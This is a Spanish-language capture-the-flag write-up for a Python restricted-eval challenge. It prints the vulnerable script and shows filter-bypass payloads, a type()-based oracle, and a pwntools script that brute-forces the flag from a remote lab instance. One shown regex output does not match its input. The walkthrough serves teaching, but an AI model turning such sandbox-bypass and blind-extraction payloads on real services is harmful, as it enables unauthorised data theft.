Type Exception
5 minutos de lectura
Se nos proporciona este script en Python que se ejecuta en la instancia remota:
#!/usr/bin/env python3
import re
with open("./flag.txt") as f:
FLAG = f.read().strip()
BLACKLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r\x0b\x0c'
OPEN_LIST = '('
CLOSE_LIST = ')'
def check_balanced(s):
stack = []
for i in s:
if i in OPEN_LIST:
stack.append(i)
elif i in CLOSE_LIST:
pos = CLOSE_LIST.index(i)
if ((len(stack) > 0) and
(OPEN_LIST[pos] == stack[len(stack)-1])):
stack.pop()
else:
return False
return len(stack) == 0
def check(s):
if re.match(r"[a-zA-Z]{4}", inp):
print("You return home.")
elif len(set(re.findall(r"[\W]", inp))) > 4:
print(set(re.findall(r"[\W]", inp)))
print("A single man cannot bear the weight of all those special characters. You return home.")
else:
return all(ord(x) < 0x7f for x in s) and all(x not in s for x in BLACKLIST) and check_balanced(s)
def safe_eval(s, func):
if not check(s):
print("\U0001F6B6" + "\U0001F6B6" + "\U0001F6B6")
else:
try:
print(eval(f"{func.__name__}({s})", {"__builtins__": {func.__name__: func}, "flag": FLAG}))
except:
print("Error")
if __name__ == "__main__":
while True:
inp = input("Input : ")
safe_eval(inp, type)
Análisis de código fuente
El script nos permite ejecutar código Python, pero con algunas limitaciones. Por ejemplo, hay una variable llamada BLACKLIST
que posee caraceres no permitidos. Además, check_balanced
verificará que los paréntesis se establezcan correctamente (aunque la función parece rara). En check
, se usa RegEx para bloquear palabras de 4 caracteres o más y más de 4 caracteres especiales distintos.
Para poner las cosas peor, safe_eval
se llama como safe_eval(inp, type)
. Básicamente, nuestro código de entrada se colocará de la siguiente manera: eval('type(<inp>))
), sin funciones de __builtins__
y solo con FLAG
como variable (flag
).
Pruebas
Vamos a probar un poco:
$ python3 src/challenge.py
Input : 1
<class 'int'>
Input : flag
You return home.
🚶🚶🚶
Input : FLAG
You return home.
🚶🚶🚶
Input : {}
🚶🚶🚶
Input : ()
<class 'tuple'>
Input : ''
🚶🚶🚶
Parece que la RegEx para buscar palabras de 4 caracteres no está definida correctamente, ya que solo mira al comienzo de la cadena:
$ python3 -q
>>> import re
>>> inp = "flag"
>>> re.match(r"[a-zA-Z]{4}", inp)
<re.Match object; span=(0, 4), match='type'>
>>> inp = "(flag)"
>>> re.match(r"[a-zA-Z]{4}", inp)
>>> exit()
De hecho, podemos verlo en el script del reto:
$ python3 src/challenge.py
Input : flag
You return home.
🚶🚶🚶
Input : (flag)
<class 'str'>
Función type
de Python
Una cosa curiosa es que type
en Python permite crear cualquier objeto del tipo actual:
$ python3 -q
>>> type(1)
<class 'int'>
>>> type(1)(1234)
1234
>>> type('asdf')
<class 'str'>
>>> type('asdf')('fdsa')
'fdsa'
Sin embargo, no podemos poner en algo como 1)(1234
en el script de reto porque check_balanced
lo cazará:
$ python3 src/challenge.py
Input : 1)(2
🚶🚶🚶
En cambio, podemos intentar obtener un oráculo, ya que podemos imprimir <class 'int'>
y <class 'tuple'>
:
$ python3 src/challenge.py
Input : (1)if(True)else()
<class 'int'>
Input : (1)if(False)else()
<class 'tuple'>
El oráculo
Entonces tenemos un oráculo. Esto puede ayudar a encontrar los caracteres de la flag uno por uno con un poco de fuerza bruta. Sabemos que el primer carácter será H
(código ASCII 72). Debemos encontrar una manera de transformar la flag en una lista de códigos ASCII. Podemos hacerlo así (en pasos progresivos):
>>> flag = 'HTB{f4k3_fl4g_f0r_t3st1ng}'
>>> list(flag)
['H', 'T', 'B', '{', 'f', '4', 'k', '3', '_', 'f', 'l', '4', 'g', '_', 'f', '0', 'r', '_', 't', '3', 's', 't', '1', 'n', 'g', '}']
>>> list(flag.encode())
[72, 84, 66, 123, 102, 52, 107, 51, 95, 102, 108, 52, 103, 95, 102, 48, 114, 95, 116, 51, 115, 116, 49, 110, 103, 125]
>>> type([])
<class 'list'>
>>> type([])(flag.encode())
[72, 84, 66, 123, 102, 52, 107, 51, 95, 102, 108, 52, 103, 95, 102, 48, 114, 95, 116, 51, 115, 116, 49, 110, 103, 125]
>>> flag.split()
['HTB{f4k3_fl4g_f0r_t3st1ng}']
>>> type(flag.split())
<class 'list'>
>>> type(flag.split())(flag.encode())
[72, 84, 66, 123, 102, 52, 107, 51, 95, 102, 108, 52, 103, 95, 102, 48, 114, 95, 116, 51, 115, 116, 49, 110, 103, 125]
Excelente. Ahora veamos cómo tomar algunos caracteres:
>>> type(flag.split())(flag.encode()).pop(0)
72
>>> type(flag.split())(flag.encode()).pop(1)
84
>>> type(flag.split())(flag.encode()).pop(2)
66
Está bien. ¿Cómo podemos compararlos sin signos =
? Sí, con is
:
>>> 72 is type(flag.split())(flag.encode()).pop(0)
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
True
>>> 71 is type(flag.split())(flag.encode()).pop(0)
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
En realidad, necesitaremos algunos paréntesis para evitar usar espacios en blanco.
Entonces, hemos construido el oráculo. Y funciona en el script del reto:
$ python3 src/challenge.py
Input : (1)if((72)is(type(flag.split())(flag.encode()).pop(0)))else()
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
<class 'int'>
Input : (1)if((71)is(type(flag.split())(flag.encode()).pop(0)))else()
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
<class 'tuple'>
Sin embargo, las advertencias serán un problema. Aquí tenemos una forma similar de hacer lo mismo, sin advertencias:
$ python3 -q
>>> flag = 'HTB{f4k3_fl4g_f0r_t3st1ng}'
>>> 72 in type(flag.split())(flag).pop(0).encode()
True
>>> 71 in type(flag.split())(flag).pop(0).encode()
False
>>> exit()
$ python3 src/challenge.py
Input : (1)if((72)in(type(flag.split())(flag).pop(0).encode()))else()
<class 'int'>
Input : (1)if((71)in(type(flag.split())(flag).pop(0).encode()))else()
<class 'tuple'>
Ahora solo necesitamos automatizarlo:
def main():
p = get_process()
flag = []
flag_progress = log.progress('Flag')
while ord('}') not in flag:
for b in range(0x20, 0x7f):
p.sendlineafter(b'Input : ', f'(1)if(({b})in(type(flag.split())(flag).pop({len(flag)}).encode()))else()'.encode())
p.recvline()
if b'int' in p.recvline():
flag.append(b)
flag_progress.status(''.join(map(chr, flag)))
break
flag_progress.success(''.join(map(chr, flag)))
Si lo ejecutamos localmente, veremos la flag de prueba:
$ python3 solve.py
[+] Starting local process '/usr/bin/python3': pid 48632
[+] Flag: HTB{FAKE_FLAG_FOR_TESTING}
[*] Stopped process '/usr/bin/python3' (pid 48632)
Flag
Vamos a ejecutarlo de forma remota:
$ python3 solve.py 209.97.131.137:32263
[+] Opening connection to 209.97.131.137 on port 32263: Done
[+] Flag: HTB{W$RN3NG_CL4$S_1NT_4R$$_$T1R1NG}
[*] Closed connection to 209.97.131.137 port 32263
El script completo se puede encontrar aquí: solve.py
.